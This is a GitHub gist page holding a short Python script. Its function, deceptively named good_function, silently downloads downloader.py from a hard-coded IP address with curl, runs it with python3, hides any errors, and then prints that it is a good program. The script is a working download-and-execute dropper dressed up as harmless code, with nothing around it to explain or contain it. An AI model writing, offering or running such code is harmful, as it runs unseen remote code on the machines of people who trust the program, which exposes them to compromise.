Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Last active July 7, 2020 15:55
Show Gist options
  • Save NimishMishra/54783f1b74598efe15390091aa34664f to your computer and use it in GitHub Desktop.
Save NimishMishra/54783f1b74598efe15390091aa34664f to your computer and use it in GitHub Desktop.
import subprocess
import os
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
output = "Failed to execute command " + str(e)
return output
def good_function():
COMMAND = "curl -o downloader.py --silent http://192.168.43.38:9000/downloader.py"
try:
run_command(COMMAND)
COMMAND = "python3 downloader.py"
command_split = COMMAND.split(" ")
subprocess.Popen(command_split)
except:
pass
try:
run_command("mkdir downloaded")
os.chdir("./downloaded")
except:
os.chdir("./downloaded")
print("This is a good program that does very good")
good_function()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment